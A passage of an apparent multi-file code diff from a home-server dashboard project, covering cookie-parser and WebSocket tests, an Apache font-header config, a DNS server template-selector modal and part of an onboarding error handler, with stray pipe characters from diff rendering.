// Confirm the surviving listener is the SSE one
|
|
||||||
resourceMonitor.emit('alert', { test: true });
|
|
||||||
expect(sseHandler).toHaveBeenCalledWith({ test: true });
|
|
||||||
|
|
||||||
server.close();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('is safe to call close() multiple times', () => {
|
|
||||||
const server = createMockServer();
|
|
||||||
const wsServer = createDashboardWS(server, {
|
|
||||||
resourceMonitor: new EventEmitter(),
|
|
||||||
healthChecker: new EventEmitter(),
|
|
||||||
updateManager: new EventEmitter(),
|
|
||||||
authVerifier: () => true,
|
|
||||||
log: { info: jest.fn(), error: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
|
||||||
expect(() => {
|
|
||||||
wsServer.close();
|
|
||||||
wsServer.close();
|
|
||||||
wsServer.close();
|
|
||||||
}).not.toThrow();
|
|
||||||
server.close();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
// DC-061 parseCookieHeader unit tests
|
|
||||||
// ─────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
describe('parseCookieHeader', () => {
|
|
||||||
it('returns empty object for undefined', () => {
|
|
||||||
expect(parseCookieHeader(undefined)).toEqual({});
|
|
||||||
});
|
|
||||||
it('returns empty object for empty string', () => {
|
|
||||||
expect(parseCookieHeader('')).toEqual({});
|
|
||||||
});
|
|
||||||
it('parses a single cookie pair', () => {
|
|
||||||
expect(parseCookieHeader('foo=bar')).toEqual({ foo: 'bar' });
|
|
||||||
});
|
|
||||||
it('parses multiple cookie pairs', () => {
|
|
||||||
expect(parseCookieHeader('a=1; b=2; c=3')).toEqual({ a: '1', b: '2', c: '3' });
|
|
||||||
});
|
|
||||||
it('trims whitespace around names and values', () => {
|
|
||||||
expect(parseCookieHeader(' foo = bar ; baz=qux')).toEqual({ foo: 'bar', baz: 'qux' });
|
|
||||||
});
|
|
||||||
it('preserves dots/dashes in HMAC-shaped session cookie values', () => {
|
|
||||||
// dashcaddy_session cookies are `<b64>.<sig>` — parseCookieHeader
|
|
||||||
// must NOT url-decode (the HMAC verifier reads the raw value).
|
|
||||||
expect(parseCookieHeader('dashcaddy_session=abc.def_123-XYZ')).toEqual({
|
|
||||||
dashcaddy_session: 'abc.def_123-XYZ',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
it('skips malformed pairs without `=`', () => {
|
|
||||||
expect(parseCookieHeader('foo; bar=baz')).toEqual({ bar: 'baz' });
|
|
||||||
});
|
|
||||||
it('skips empty name parts', () => {
|
|
||||||
expect(parseCookieHeader('=value; foo=bar')).toEqual({ foo: 'bar' });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|||||||
@@ -1,21 +1,21 @@
|
|||||||
# Font file headers to prevent sanitizer issues
|
# Font file headers to prevent sanitizer issues
|
||||||
<FilesMatch "\.(woff2|woff|ttf|eot)$">
|
<FilesMatch "\.(woff2|woff|ttf|eot)$">
|
||||||
Header set Access-Control-Allow-Origin "*"
|
Header set Access-Control-Allow-Origin "*"
|
||||||
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
|
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
|
||||||
Header set Access-Control-Allow-Headers "Content-Type"
|
Header set Access-Control-Allow-Headers "Content-Type"
|
||||||
Header set Cache-Control "public, max-age=31536000"
|
Header set Cache-Control "public, max-age=31536000"
|
||||||
|
|
||||||
# Proper MIME types
|
# Proper MIME types
|
||||||
<IfModule mod_mime.c>
|
<IfModule mod_mime.c>
|
||||||
AddType font/woff2 .woff2
|
AddType font/woff2 .woff2
|
||||||
AddType font/woff .woff
|
AddType font/woff .woff
|
||||||
AddType font/ttf .ttf
|
AddType font/ttf .ttf
|
||||||
AddType application/vnd.ms-fontobject .eot
|
AddType application/vnd.ms-fontobject .eot
|
||||||
</IfModule>
|
</IfModule>
|
||||||
</FilesMatch>
|
</FilesMatch>
|
||||||
|
|
||||||
# Prevent direct access to font conversion scripts
|
# Prevent direct access to font conversion scripts
|
||||||
<FilesMatch "\.(py|bat)$">
|
<FilesMatch "\.(py|bat)$">
|
||||||
Order allow,deny
|
Order allow,deny
|
||||||
Deny from all
|
Deny from all
|
||||||
</FilesMatch>
|
</FilesMatch>
|
||||||
@@ -1,321 +1,321 @@
|
|||||||
/**
|
/**
|
||||||
* DNS Template Selector
|
* DNS Template Selector
|
||||||
* Presents DNS server template options when user chooses to set up DNS
|
* Presents DNS server template options when user chooses to set up DNS
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function(window) {
|
(function(window) {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
class DnsTemplateSelector {
|
class DnsTemplateSelector {
|
||||||
constructor(progressTracker) {
|
constructor(progressTracker) {
|
||||||
this.progressTracker = progressTracker;
|
this.progressTracker = progressTracker;
|
||||||
this.modal = null;
|
this.modal = null;
|
||||||
this.onTemplateSelected = null;
|
this.onTemplateSelected = null;
|
||||||
console.log('[DnsTemplateSelector] Module loaded');
|
console.log('[DnsTemplateSelector] Module loaded');
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get available DNS server templates from app templates
|
* Get available DNS server templates from app templates
|
||||||
* @returns {Array} Array of DNS template objects
|
* @returns {Array} Array of DNS template objects
|
||||||
*/
|
*/
|
||||||
getDnsTemplates() {
|
getDnsTemplates() {
|
||||||
// In a real implementation, this would fetch from app-templates.js
|
// In a real implementation, this would fetch from app-templates.js
|
||||||
// For now, return hardcoded templates matching what we added
|
// For now, return hardcoded templates matching what we added
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
id: 'technitium',
|
id: 'technitium',
|
||||||
name: 'Technitium DNS Server',
|
name: 'Technitium DNS Server',
|
||||||
description: 'Modern DNS server with web UI for managing private zones',
|
description: 'Modern DNS server with web UI for managing private zones',
|
||||||
icon: '🌐',
|
icon: '🌐',
|
||||||
difficulty: 'Easy',
|
difficulty: 'Easy',
|
||||||
features: [
|
features: [
|
||||||
'Web-based management interface',
|
'Web-based management interface',
|
||||||
'Private zone management for .sami domain',
|
'Private zone management for .sami domain',
|
||||||
'DHCP server integration',
|
'DHCP server integration',
|
||||||
'DNS-over-HTTPS and DNS-over-TLS support'
|
'DNS-over-HTTPS and DNS-over-TLS support'
|
||||||
],
|
],
|
||||||
recommended: true
|
recommended: true
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'bind9',
|
id: 'bind9',
|
||||||
name: 'BIND9 DNS Server',
|
name: 'BIND9 DNS Server',
|
||||||
description: 'Industry-standard DNS server - powerful and flexible',
|
description: 'Industry-standard DNS server - powerful and flexible',
|
||||||
icon: '🔧',
|
icon: '🔧',
|
||||||
difficulty: 'Advanced',
|
difficulty: 'Advanced',
|
||||||
features: [
|
features: [
|
||||||
'Industry standard DNS server',
|
'Industry standard DNS server',
|
||||||
'Full RFC compliance',
|
'Full RFC compliance',
|
||||||
'Advanced zone management',
|
'Advanced zone management',
|
||||||
'DNSSEC support'
|
'DNSSEC support'
|
||||||
],
|
],
|
||||||
recommended: false
|
recommended: false
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'pihole',
|
id: 'pihole',
|
||||||
name: 'Pi-hole',
|
name: 'Pi-hole',
|
||||||
description: 'Network-wide ad blocker with DNS capabilities',
|
description: 'Network-wide ad blocker with DNS capabilities',
|
||||||
icon: '🛡️',
|
icon: '🛡️',
|
||||||
difficulty: 'Intermediate',
|
difficulty: 'Intermediate',
|
||||||
features: [
|
features: [
|
||||||
'Ad blocking at DNS level',
|
'Ad blocking at DNS level',
|
||||||
'Web interface for management',
|
'Web interface for management',
|
||||||
'DHCP server included',
|
'DHCP server included',
|
||||||
'Query logging and statistics'
|
'Query logging and statistics'
|
||||||
],
|
],
|
||||||
recommended: false
|
recommended: false
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'powerdns',
|
id: 'powerdns',
|
||||||
name: 'PowerDNS',
|
name: 'PowerDNS',
|
||||||
description: 'High-performance DNS server with SQL backend',
|
description: 'High-performance DNS server with SQL backend',
|
||||||
icon: '⚡',
|
icon: '⚡',
|
||||||
difficulty: 'Intermediate',
|
difficulty: 'Intermediate',
|
||||||
features: [
|
features: [
|
||||||
'SQL database backend',
|
'SQL database backend',
|
||||||
'RESTful API for automation',
|
'RESTful API for automation',
|
||||||
'Geographic load balancing',
|
'Geographic load balancing',
|
||||||
'DNSSEC support'
|
'DNSSEC support'
|
||||||
],
|
],
|
||||||
recommended: false
|
recommended: false
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'coredns',
|
id: 'coredns',
|
||||||
name: 'CoreDNS',
|
name: 'CoreDNS',
|
||||||
description: 'Cloud-native DNS server - lightweight and flexible',
|
description: 'Cloud-native DNS server - lightweight and flexible',
|
||||||
icon: '☁️',
|
icon: '☁️',
|
||||||
difficulty: 'Intermediate',
|
difficulty: 'Intermediate',
|
||||||
features: [
|
features: [
|
||||||
'Plugin-based architecture',
|
'Plugin-based architecture',
|
||||||
'Kubernetes-native',
|
'Kubernetes-native',
|
||||||
'Lightweight and fast',
|
'Lightweight and fast',
|
||||||
'Prometheus metrics'
|
'Prometheus metrics'
|
||||||
],
|
],
|
||||||
recommended: false
|
recommended: false
|
||||||
}
|
}
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Show DNS template selection modal
|
* Show DNS template selection modal
|
||||||
*/
|
*/
|
||||||
showTemplateSelector() {
|
showTemplateSelector() {
|
||||||
// Create modal if it doesn't exist
|
// Create modal if it doesn't exist
|
||||||
if (!this.modal) {
|
if (!this.modal) {
|
||||||
this.createModal();
|
this.createModal();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Populate with templates
|
// Populate with templates
|
||||||
this.populateTemplates();
|
this.populateTemplates();
|
||||||
|
|
||||||
// Show modal
|
// Show modal
|
||||||
this.modal.style.display = 'flex';
|
this.modal.style.display = 'flex';
|
||||||
document.body.style.overflow = 'hidden';
|
document.body.style.overflow = 'hidden';
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create the modal HTML structure
|
* Create the modal HTML structure
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
createModal() {
|
createModal() {
|
||||||
const modal = document.createElement('div');
|
const modal = document.createElement('div');
|
||||||
modal.id = 'dns-template-modal';
|
modal.id = 'dns-template-modal';
|
||||||
modal.className = 'dns-template-modal';
|
modal.className = 'dns-template-modal';
|
||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="dns-template-modal-content">
|
<div class="dns-template-modal-content">
|
||||||
<div class="dns-template-header">
|
<div class="dns-template-header">
|
||||||
<h2>🌐 Choose a DNS Server</h2>
|
<h2>🌐 Choose a DNS Server</h2>
|
||||||
<p>Setting up a DNS server is essential for managing your private .sami domain</p>
|
<p>Setting up a DNS server is essential for managing your private .sami domain</p>
|
||||||
<button class="dns-template-close" aria-label="Close">×</button>
|
<button class="dns-template-close" aria-label="Close">×</button>
|
||||||
</div>
|
</div>
|
||||||
<div class="dns-template-grid" id="dns-template-grid">
|
<div class="dns-template-grid" id="dns-template-grid">
|
||||||
<!-- Templates will be inserted here -->
|
<!-- Templates will be inserted here -->
|
||||||
</div>
|
</div>
|
||||||
<div class="dns-template-footer">
|
<div class="dns-template-footer">
|
||||||
<button class="dns-template-later-btn" id="dns-setup-later">Set up later</button>
|
<button class="dns-template-later-btn" id="dns-setup-later">Set up later</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
this.modal = modal;
|
this.modal = modal;
|
||||||
|
|
||||||
// Add event listeners
|
// Add event listeners
|
||||||
modal.querySelector('.dns-template-close').addEventListener('click', () => this.close());
|
modal.querySelector('.dns-template-close').addEventListener('click', () => this.close());
|
||||||
modal.querySelector('#dns-setup-later').addEventListener('click', () => this.handleSetupLater());
|
modal.querySelector('#dns-setup-later').addEventListener('click', () => this.handleSetupLater());
|
||||||
|
|
||||||
// Close on overlay click
|
// Close on overlay click
|
||||||
modal.addEventListener('click', (e) => {
|
modal.addEventListener('click', (e) => {
|
||||||
if (e.target === modal) {
|
if (e.target === modal) {
|
||||||
this.close();
|
this.close();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// Close on Escape key
|
// Close on Escape key
|
||||||
document.addEventListener('keydown', (e) => {
|
document.addEventListener('keydown', (e) => {
|
||||||
if (e.key === 'Escape' && modal.style.display === 'flex') {
|
if (e.key === 'Escape' && modal.style.display === 'flex') {
|
||||||
this.close();
|
this.close();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Populate modal with DNS templates
|
* Populate modal with DNS templates
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
populateTemplates() {
|
populateTemplates() {
|
||||||
const grid = document.getElementById('dns-template-grid');
|
const grid = document.getElementById('dns-template-grid');
|
||||||
if (!grid) return;
|
if (!grid) return;
|
||||||
|
|
||||||
const templates = this.getDnsTemplates();
|
const templates = this.getDnsTemplates();
|
||||||
grid.innerHTML = '';
|
grid.innerHTML = '';
|
||||||
|
|
||||||
templates.forEach(template => {
|
templates.forEach(template => {
|
||||||
const card = this.createTemplateCard(template);
|
const card = this.createTemplateCard(template);
|
||||||
grid.appendChild(card);
|
grid.appendChild(card);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a template card element
|
* Create a template card element
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
createTemplateCard(template) {
|
createTemplateCard(template) {
|
||||||
const card = document.createElement('div');
|
const card = document.createElement('div');
|
||||||
card.className = 'dns-template-card';
|
card.className = 'dns-template-card';
|
||||||
if (template.recommended) {
|
if (template.recommended) {
|
||||||
card.classList.add('recommended');
|
card.classList.add('recommended');
|
||||||
}
|
}
|
||||||
|
|
||||||
const difficultyClass = template.difficulty.toLowerCase();
|
const difficultyClass = template.difficulty.toLowerCase();
|
||||||
|
|
||||||
card.innerHTML = `
|
card.innerHTML = `
|
||||||
${template.recommended ? '<div class="recommended-badge">Recommended</div>' : ''}
|
${template.recommended ? '<div class="recommended-badge">Recommended</div>' : ''}
|
||||||
<div class="dns-template-icon">${template.icon}</div>
|
<div class="dns-template-icon">${template.icon}</div>
|
||||||
<h3>${template.name}</h3>
|
<h3>${template.name}</h3>
|
||||||
<p class="dns-template-description">${template.description}</p>
|
<p class="dns-template-description">${template.description}</p>
|
||||||
<div class="dns-template-difficulty difficulty-${difficultyClass}">
|
<div class="dns-template-difficulty difficulty-${difficultyClass}">
|
||||||
${template.difficulty}
|
${template.difficulty}
|
||||||
</div>
|
</div>
|
||||||
<ul class="dns-template-features">
|
<ul class="dns-template-features">
|
||||||
${template.features.slice(0, 3).map(f => `<li>${f}</li>`).join('')}
|
${template.features.slice(0, 3).map(f => `<li>${f}</li>`).join('')}
|
||||||
</ul>
|
</ul>
|
||||||
<button class="dns-template-select-btn" data-template-id="${template.id}">
|
<button class="dns-template-select-btn" data-template-id="${template.id}">
|
||||||
Select ${template.name}
|
Select ${template.name}
|
||||||
</button>
|
</button>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
// Add click handler to select button
|
// Add click handler to select button
|
||||||
const selectBtn = card.querySelector('.dns-template-select-btn');
|
const selectBtn = card.querySelector('.dns-template-select-btn');
|
||||||
selectBtn.addEventListener('click', () => this.handleTemplateSelection(template));
|
selectBtn.addEventListener('click', () => this.handleTemplateSelection(template));
|
||||||
|
|
||||||
return card;
|
return card;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle template selection
|
* Handle template selection
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
handleTemplateSelection(template) {
|
handleTemplateSelection(template) {
|
||||||
console.log(`[DnsTemplateSelector] Template selected: ${template.id}`);
|
console.log(`[DnsTemplateSelector] Template selected: ${template.id}`);
|
||||||
|
|
||||||
// Close modal
|
// Close modal
|
||||||
this.close();
|
this.close();
|
||||||
|
|
||||||
// Trigger callback if set
|
// Trigger callback if set
|
||||||
if (this.onTemplateSelected) {
|
if (this.onTemplateSelected) {
|
||||||
this.onTemplateSelected(template);
|
this.onTemplateSelected(template);
|
||||||
} else {
|
} else {
|
||||||
// Default behavior: open app selector with DNS filter
|
// Default behavior: open app selector with DNS filter
|
||||||
this.openAppSelector(template.id);
|
this.openAppSelector(template.id);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle "Set up later" button
|
* Handle "Set up later" button
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
handleSetupLater() {
|
handleSetupLater() {
|
||||||
console.log('[DnsTemplateSelector] DNS setup deferred');
|
console.log('[DnsTemplateSelector] DNS setup deferred');
|
||||||
|
|
||||||
// Mark as deferred in progress tracker
|
// Mark as deferred in progress tracker
|
||||||
if (this.progressTracker) {
|
if (this.progressTracker) {
|
||||||
this.progressTracker.markDnsSetupDeferred();
|
this.progressTracker.markDnsSetupDeferred();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close modal
|
// Close modal
|
||||||
this.close();
|
this.close();
|
||||||
|
|
||||||
// Show notification
|
// Show notification
|
||||||
this.showNotification('DNS setup deferred. You can set it up later from the App Selector.');
|
this.showNotification('DNS setup deferred. You can set it up later from the App Selector.');
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Open app selector with specific template
|
* Open app selector with specific template
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
openAppSelector(templateId) {
|
openAppSelector(templateId) {
|
||||||
// Try to open the app selector modal if it exists
|
// Try to open the app selector modal if it exists
|
||||||
const appSelectorBtn = document.querySelector('[onclick*="showAppSelector"]');
|
const appSelectorBtn = document.querySelector('[onclick*="showAppSelector"]');
|
||||||
if (appSelectorBtn) {
|
if (appSelectorBtn) {
|
||||||
appSelectorBtn.click();
|
appSelectorBtn.click();
|
||||||
|
|
||||||
// Wait a bit then filter to the selected template
|
// Wait a bit then filter to the selected template
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
const searchInput = document.querySelector('#app-search');
|
const searchInput = document.querySelector('#app-search');
|
||||||
if (searchInput) {
|
if (searchInput) {
|
||||||
searchInput.value = templateId;
|
searchInput.value = templateId;
|
||||||
searchInput.dispatchEvent(new Event('input', { bubbles: true }));
|
searchInput.dispatchEvent(new Event('input', { bubbles: true }));
|
||||||
}
|
}
|
||||||
}, 300);
|
}, 300);
|
||||||
} else {
|
} else {
|
||||||
// Fallback: show instructions
|
// Fallback: show instructions
|
||||||
this.showNotification(`To deploy ${templateId}, use the App Selector and search for "${templateId}"`);
|
this.showNotification(`To deploy ${templateId}, use the App Selector and search for "${templateId}"`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Show notification message
|
* Show notification message
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
showNotification(message) {
|
showNotification(message) {
|
||||||
// Simple notification - could be enhanced
|
// Simple notification - could be enhanced
|
||||||
const notification = document.createElement('div');
|
const notification = document.createElement('div');
|
||||||
notification.className = 'dns-template-notification';
|
notification.className = 'dns-template-notification';
|
||||||
notification.textContent = message;
|
notification.textContent = message;
|
||||||
notification.style.cssText = `
|
notification.style.cssText = `
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 20px;
|
top: 20px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
background: var(--card-base);
|
background: var(--card-base);
|
||||||
color: var(--fg);
|
color: var(--fg);
|
||||||
padding: 15px 20px;
|
padding: 15px 20px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
|
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
|
||||||
z-index: 10001;
|
z-index: 10001;
|
||||||
max-width: 300px;
|
max-width: 300px;
|
||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(notification);
|
document.body.appendChild(notification);
|
||||||
|
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
notification.style.opacity = '0';
|
notification.style.opacity = '0';
|
||||||
notification.style.transition = 'opacity 0.3s';
|
notification.style.transition = 'opacity 0.3s';
|
||||||
setTimeout(() => notification.remove(), 300);
|
setTimeout(() => notification.remove(), 300);
|
||||||
}, 3000);
|
}, 3000);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Close the modal
|
* Close the modal
|
||||||
*/
|
*/
|
||||||
close() {
|
close() {
|
||||||
if (this.modal) {
|
if (this.modal) {
|
||||||
this.modal.style.display = 'none';
|
this.modal.style.display = 'none';
|
||||||
document.body.style.overflow = '';
|
document.body.style.overflow = '';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
window.DnsTemplateSelector = DnsTemplateSelector;
|
window.DnsTemplateSelector = DnsTemplateSelector;
|
||||||
console.log('[DnsTemplateSelector] Module loaded');
|
console.log('[DnsTemplateSelector] Module loaded');
|
||||||
|
|
||||||
})(window);
|
})(window);
|
||||||
|
|||||||
@@ -1,259 +1,259 @@
|
|||||||
/**
|
/**
|
||||||
* Error Handler
|
* Error Handler
|
||||||
* Handles errors gracefully without breaking the onboarding tour
|
* Handles errors gracefully without breaking the onboarding tour
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function(window) {
|
(function(window) {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
class ErrorHandler {
|
class ErrorHandler {
|
||||||
constructor() {
|
constructor() {
|
||||||
this.errors = [];
|
this.errors = [];
|
||||||
this.maxErrors = 50; // Keep last 50 errors
|
this.maxErrors = 50; // Keep last 50 errors
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Log an error without breaking the tour
|
* Log an error without breaking the tour
|
||||||
* @param {string} context - Context where error occurred
|
* @param {string} context - Context where error occurred
|
||||||
* @param {Error|string} error - The error object or message
|
* @param {Error|string} error - The error object or message
|
||||||
* @param {Object} metadata - Additional metadata
|
* @param {Object} metadata - Additional metadata
|
||||||
*/
|
*/
|
||||||
logError(context, error, metadata = {}) {
|
logError(context, error, metadata = {}) {
|
||||||
const errorEntry = {
|
const errorEntry = {
|
||||||
timestamp: new Date().toISOString(),
|
timestamp: new Date().toISOString(),
|
||||||
context,
|
context,
|
||||||
message: error instanceof Error ? error.message : error,
|
message: error instanceof Error ? error.message : error,
|
||||||
stack: error instanceof Error ? error.stack : null,
|
stack: error instanceof Error ? error.stack : null,
|
||||||
metadata
|
metadata
|
||||||
};
|
};
|
||||||
|
|
||||||
// Add to errors array
|
// Add to errors array
|
||||||
this.errors.push(errorEntry);
|
this.errors.push(errorEntry);
|
||||||
|
|
||||||
// Keep only last maxErrors
|
// Keep only last maxErrors
|
||||||
if (this.errors.length > this.maxErrors) {
|
if (this.errors.length > this.maxErrors) {
|
||||||
this.errors.shift();
|
this.errors.shift();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Log to console
|
// Log to console
|
||||||
console.error(`[Onboarding Error] ${context}:`, error, metadata);
|
console.error(`[Onboarding Error] ${context}:`, error, metadata);
|
||||||
|
|
||||||
// Optionally send to error tracking service
|
// Optionally send to error tracking service
|
||||||
// this.sendToErrorTracking(errorEntry);
|
// this.sendToErrorTracking(errorEntry);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Attempt to recover from an error and continue tour
|
* Attempt to recover from an error and continue tour
|
||||||
* @param {Error} error - The error object
|
* @param {Error} error - The error object
|
||||||
* @param {number} currentStep - Current step index
|
* @param {number} currentStep - Current step index
|
||||||
* @returns {Object} Recovery action
|
* @returns {Object} Recovery action
|
||||||
*/
|
*/
|
||||||
recoverFromError(error, currentStep) {
|
recoverFromError(error, currentStep) {
|
||||||
const errorType = this.classifyError(error);
|
const errorType = this.classifyError(error);
|
||||||
|
|
||||||
switch (errorType) {
|
switch (errorType) {
|
||||||
case 'ELEMENT_NOT_FOUND':
|
case 'ELEMENT_NOT_FOUND':
|
||||||
this.logError('Element Not Found', error, { currentStep });
|
this.logError('Element Not Found', error, { currentStep });
|
||||||
return {
|
return {
|
||||||
action: 'SKIP_STEP',
|
action: 'SKIP_STEP',
|
||||||
nextStep: currentStep + 1,
|
nextStep: currentStep + 1,
|
||||||
message: 'Target element not found, skipping to next step'
|
message: 'Target element not found, skipping to next step'
|
||||||
};
|
};
|
||||||
|
|
||||||
case 'STORAGE_UNAVAILABLE':
|
case 'STORAGE_UNAVAILABLE':
|
||||||
this.logError('Storage Unavailable', error);
|
this.logError('Storage Unavailable', error);
|
||||||
return {
|
return {
|
||||||
action: 'USE_MEMORY_STORAGE',
|
action: 'USE_MEMORY_STORAGE',
|
||||||
message: 'Local storage unavailable, using in-memory storage'
|
message: 'Local storage unavailable, using in-memory storage'
|
||||||
};
|
};
|
||||||
|
|
||||||
case 'DRIVER_NOT_LOADED':
|
case 'DRIVER_NOT_LOADED':
|
||||||
this.logError('Driver.js Not Loaded', error);
|
this.logError('Driver.js Not Loaded', error);
|
||||||
return {
|
return {
|
||||||
action: 'ABORT_TOUR',
|
action: 'ABORT_TOUR',
|
||||||
message: 'Driver.js library not loaded, cannot start tour'
|
message: 'Driver.js library not loaded, cannot start tour'
|
||||||
};
|
};
|
||||||
|
|
||||||
case 'INVALID_TOOLTIP':
|
case 'INVALID_TOOLTIP':
|
||||||
this.logError('Invalid Tooltip Configuration', error, { currentStep });
|
this.logError('Invalid Tooltip Configuration', error, { currentStep });
|
||||||
return {
|
return {
|
||||||
action: 'SKIP_STEP',
|
action: 'SKIP_STEP',
|
||||||
nextStep: currentStep + 1,
|
nextStep: currentStep + 1,
|
||||||
message: 'Invalid tooltip configuration, skipping'
|
message: 'Invalid tooltip configuration, skipping'
|
||||||
};
|
};
|
||||||
|
|
||||||
case 'THEME_DETECTION_FAILED':
|
case 'THEME_DETECTION_FAILED':
|
||||||
this.logError('Theme Detection Failed', error);
|
this.logError('Theme Detection Failed', error);
|
||||||
return {
|
return {
|
||||||
action: 'USE_DEFAULT_THEME',
|
action: 'USE_DEFAULT_THEME',
|
||||||
message: 'Using default dark theme'
|
message: 'Using default dark theme'
|
||||||
};
|
};
|
||||||
|
|
||||||
default:
|
default:
|
||||||
this.logError('Unknown Error', error, { currentStep });
|
this.logError('Unknown Error', error, { currentStep });
|
||||||
return {
|
return {
|
||||||
action: 'ABORT_TOUR',
|
action: 'ABORT_TOUR',
|
||||||
message: 'Unexpected error occurred, aborting tour'
|
message: 'Unexpected error occurred, aborting tour'
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Classify error type
|
* Classify error type
|
||||||
* @private
|
* @private
|
||||||
* @param {Error} error - The error object
|
* @param {Error} error - The error object
|
||||||
* @returns {string} Error type
|
* @returns {string} Error type
|
||||||
*/
|
*/
|
||||||
classifyError(error) {
|
classifyError(error) {
|
||||||
const message = error.message || error.toString();
|
const message = error.message || error.toString();
|
||||||
|
|
||||||
if (message.includes('element') && message.includes('not found')) {
|
if (message.includes('element') && message.includes('not found')) {
|
||||||
return 'ELEMENT_NOT_FOUND';
|
return 'ELEMENT_NOT_FOUND';
|
||||||
}
|
}
|
||||||
if (message.includes('storage') || message.includes('quota')) {
|
if (message.includes('storage') || message.includes('quota')) {
|
||||||
return 'STORAGE_UNAVAILABLE';
|
return 'STORAGE_UNAVAILABLE';
|
||||||
}
|
}
|
||||||
if (message.includes('driver') || message.includes('undefined')) {
|
if (message.includes('driver') || message.includes('undefined')) {
|
||||||
return 'DRIVER_NOT_LOADED';
|
return 'DRIVER_NOT_LOADED';
|
||||||
}
|
}
|
||||||
if (message.includes('invalid') || message.includes('validation')) {
|
if (message.includes('invalid') || message.includes('validation')) {
|
||||||
return 'INVALID_TOOLTIP';
|
return 'INVALID_TOOLTIP';
|
||||||
}
|
}
|
||||||
if (message.includes('theme')) {
|
if (message.includes('theme')) {
|
||||||
return 'THEME_DETECTION_FAILED';
|
return 'THEME_DETECTION_FAILED';
|
||||||
}
|
}
|
||||||
|
|
||||||
return 'UNKNOWN';
|
return 'UNKNOWN';
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get all logged errors
|
* Get all logged errors
|
||||||
* @returns {Array} Array of error entries
|
* @returns {Array} Array of error entries
|
||||||
*/
|
*/
|
||||||
getErrors() {
|
getErrors() {
|
||||||
return [...this.errors];
|
return [...this.errors];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Clear all logged errors
|
* Clear all logged errors
|
||||||
*/
|
*/
|
||||||
clearErrors() {
|
clearErrors() {
|
||||||
this.errors = [];
|
this.errors = [];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get error statistics
|
* Get error statistics
|
||||||
* @returns {Object} Error statistics
|
* @returns {Object} Error statistics
|
||||||
*/
|
*/
|
||||||
getStatistics() {
|
getStatistics() {
|
||||||
const stats = {
|
const stats = {
|
||||||
total: this.errors.length,
|
total: this.errors.length,
|
||||||
byContext: {},
|
byContext: {},
|
||||||
byType: {},
|
byType: {},
|
||||||
recent: this.errors.slice(-10)
|
recent: this.errors.slice(-10)
|
||||||
};
|
};
|
||||||
|
|
||||||
this.errors.forEach(error => {
|
this.errors.forEach(error => {
|
||||||
// Count by context
|
// Count by context
|
||||||
